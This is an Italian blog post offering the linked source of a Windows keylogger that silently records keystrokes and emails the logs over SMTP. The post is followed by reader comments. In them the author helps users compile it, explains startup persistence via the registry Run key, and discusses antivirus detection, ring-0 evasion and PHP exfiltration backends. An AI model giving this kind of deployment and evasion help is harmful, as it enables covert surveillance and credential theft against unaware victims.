KEYLOGGER IN C

06/06/2011

Un piccolo keylogger scritto interamente in C per windows 9X/XP/Vista/7.

Il software cattura quasiasi evento della tastiera (tasti standard, tasti funzione Fx, tasti speciali) ed eventi di sistema come finestre aperte, programmi avviati, notifiche ed errori. Il programma registra completamente in background tali informazioni e li salva in un file di testo sul disco rigido. Non appena c'è disponibilità di rete, i log vengono inviati via email ad una casella email prescelta tramite protocollo SMTP. Il programma deve essere considerato unicamente as-is, un esempio di programmazione.

Codice sorgente: keylogger


Torna alla home

Commenti

27 commenti


Denis (denis_next92@hotmail.it)
il 3 Gennaio 2014 alle 10:39

Ciao! Ma funziona? Perchè io l'ho compiilato su Dev-C++ e non funziona... Mi da tutti questi errori guarda:

Compilatore: Default compiler\nEsecuzione di g++.exe...
g++.exe "C:\Users\Denis\Documents\Desktop\SenzaTitolo1.cpp" -o "C:\Users\Denis\Documents\Desktop\SenzaTitolo1.exe" -I"C:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"

C:\Users\Denis\Documents\Desktop\SenzaTitolo1.cpp: In function void hook(char*, int)&#39;&#39;:<br /> <br /> C:\\Users\\Denis\\Documents\\Desktop\\SenzaTitolo1.cpp:54: error: invalid conversion fromunsigned char

'' to `CHAR

Rispondi


Denis (denis_next92@hotmail.it)
il 3 Gennaio 2014 alle 10:40

Mi da altre tantissime righe di errore ma non ci stavano tutte nel commento...

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:41

ciao! dovresti creare una nuova applicazione C (non C++). Riprova così intanto...

Rispondi


Lares (magicoh@libero.it)
il 3 Gennaio 2014 alle 10:41

Ciao, mi da un errore sullo ShellExecute, sto dimenticando qualcosa?
line 55: Undefined reference to_ShellExecute

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:42

ciao! semplice, devi linkare Shell32.lib sennò ti da quell'errore

Rispondi


rob (montana-tony@tiscali.it)
il 3 Gennaio 2014 alle 10:42

Ciao allora ho provato a compilarlo con dev c++ 4.9.9.2 ho linkato la libreria Shell32.lib da opzioni del progetto....compilo e mi da errore
C:\Dev.Cpp.......\mingw32\bin\ld.exe\ : cannot find -lobjc\ncollect2: id returned 1 exit status
make.exe ***[proggetto1.exe]Error 1
esecuzione terminata

...e file non creato
che devo fare ?
grazie

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:43

nelle opzioni di progetto devi dare "C project" invece di "C++ project"

Rispondi


rob (montana-tony@tiscali.it)
il 3 Gennaio 2014 alle 10:43

Ciao e grazie della risposta...ma io faccio\nnuovo progetto--->windows application----> e su opzioni del progetto metto C
quindi compila in C

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:44

allora guarda, la libreria objc riguarda l'objective C, che è un'altro linguaggio di programmazione diverso da C++. Per qualche motivo l''DE ha scelto objective C anzichè C++. Prova a guardare nelle impostazioni di progetto se c'è qualche opzione abilitata di troppo. Fammi sapere e semmai ti invio il file di progetto .dev corretto

Rispondi


Rob (online_italia@libero.it)
il 3 Gennaio 2014 alle 10:45

Ciao !! scusami... tu mi hai scritto nell'ultimo post "Per qualche motivo l'IDE ha scelto objective C anzichè C++" non mi ha detto che devo compilare in "C" e non "C++" ?? cmq ho spulciato tutto il compilatore e non ci sono opzioni abilitate di troppo...anche perche' proprio ieri ho compilato altri due programmi sempre in "C" e vanno alla grande !! Se puoi, come mi hai detto mandami il .dev cosi provo...la mail ce l'hai (o l'una o l'altra), ciao e grazie !!

Rispondi


Rob (online_italia@libero.it)
il 3 Gennaio 2014 alle 10:46

poi ti volevo chiedere anche un'altra cosa...se non e' troppo...\nho gia' creato programmi del genere...sempre prendendo linee di codice qui e lì per poterle studiare e poi "assemblare" insieme... i programmi funzionano tutti alla perfezione...solo una cosa... se li avvio io (doppio click) partono !!(e' ovvio) se mando il collegamento del programma in esecuzione automatica, al riavvio del pc...vanno !! (ovvio) se invece creo in regedit--->la chiave RUN--->(anche come Administrator)per farlo partire all'avvio del pc succede una cosa strana.... il programma parte (c'e' il processo nel taskmanager) ma non va !!! (le sue funzioni non si attivano) ho inserito prima la chiave su HKEY LOCAL MACHINE (e nn va) poi anche per provare in HKEY CURRENT USER (idem) il processo c'e'...il programma non funziona...

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:46

ciao, in xp funziona alla grande, su win7 devi abilitare la modalità compatibilità con winxp prima di poterlo lanciare manualmente o tramite registro di sistema. Comuqnue, dato l''altissimo numero di contatti email che ricevo per questo codice credo che a breve inizierò a dargli una bella spolverata (ormai ha più di 5 anni!) e creare un bel tutorial più corposo. Intanto ti mando il .dev per email

Rispondi


Rob (online_italia@libero.it)
il 3 Gennaio 2014 alle 10:46

mmm...ho provato in compatibilita' winxp sp3.. non va ugualmente... :-(
parte il processo ma non il programma

Rispondi


Rob (online_italia@libero.it)
il 3 Gennaio 2014 alle 10:47

tutto ok ce l'ho fatta !! non era un discorso di compatibilità...avevo sbagliato io ihihihi...

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:47

che cos'è che avevi sbagliato?

Rispondi


Rob (online_italia@libero.it)
il 3 Gennaio 2014 alle 10:47

Che sono rinco... se doppio click sul programma il log me lo crea nella stessa cartella... se creo chiave run il log me lo crea in system 32 ahahah cio'' pensato un po dopo...

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:48

si chiama working directory e può cambiare a seconda del processo che lancia l'eseguibile.

Rispondi


Rob (online_italia@libero.it)
il 3 Gennaio 2014 alle 10:48

Ciao.. puoi darmi una definizione piu'' specifica per "working directory" ?
Per capire come funziona grazie.

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:49

è la directory associata a quel processo. Comunque guarda qui

http://en.wikipedia.org/wiki/Working_directory

Rispondi


francesco (mikkmak@tiscali.it)
il 3 Gennaio 2014 alle 10:49

Ciao,volevo sapere come faceva a inviare il log per mail,e se gli antivirus piu comuni trovavano la presenza di tale programma!Grazie..

Rispondi


Valleyman (notsaying@noname.com)
il 3 Gennaio 2014 alle 10:51

Ciao a tutti,
complimenti, Gianluca, per l'ottimo lavoro.
La parte di invio email è molto ben fatta e soprattutto (cosa rara) semplice.
La parte di keylogging è il punto debole (anzi, debolissimo) del sistema in quanto usa la funzione "GetKeyState".
Questa funzione (assieme a GetAsyncKeyState e altre) è una delle più gettonate per gli antivirus.
Provalo pure con Norton, vedrai che dopo qualche "tempo" esso ti segnalerà il programma come "malicious".

La vera difficoltà, ahimè, è quella di creare un hook o qualche accidenti all'int21 della tastiera senza essere "visti" dagli antivirus... Altrimenti la vita del keylogger è molto breve.

Comunque complimenti ancora, bravo.

Rispondi


Gianluca (Admin)
il 3 Gennaio 2014 alle 10:51

Grazie Valleyman! Considera che il codice è del 2007, quindi già un pò vecchiotto. Un metodo più affidabile per trasmettere i keystrokes potrebbe essere una send di tipo GET/POST ad un backend in PHP, ma richiede un dominio di proprietà. Per il discorso antivirus beh, c'e' veramente poco da fare... puoi andare sul basso livello e agganciarti direttamente agli interrupt ma l'installazione diventa più complessa in quando vai a ring 0 (cioè esci dallo spazio utente e entri in quello driver di sistema).

Rispondi


Anonymous (5831b62100039@example.com)
il 20 Novembre 2016 alle 16:41

Come faccio a scaricarlo?

Rispondi


Gianluca (Admin)
il 20 Novembre 2016 alle 16:47

Ciao, non si scarica ma si compila dai sorgenti, scarica Dev-C++ poi crea un nuovo progetto C, aggiungi i sorgenti e compila

Rispondi


Anonymous (5a6f1d8b7629c@example.com)
il 29 Gennaio 2018 alle 15:11

non mi compila

Rispondi


Anonymous (5c88163f6b6c8@example.com)
il 12 Marzo 2019 alle 22:27

come faccio a far inviare i dati alla mia mail? è la priva volta che uso qualcosa in C o C++

Rispondi


anonimo (5e6bfdc0f3aaf@example.com)
il 13 Marzo 2020 alle 23:40

se è la prima volta forse è il caso che studi no?

Rispondi


Il tuo nome o email (Se usi l'email potrai essere notificato delle risposte)
Il tuo messaggio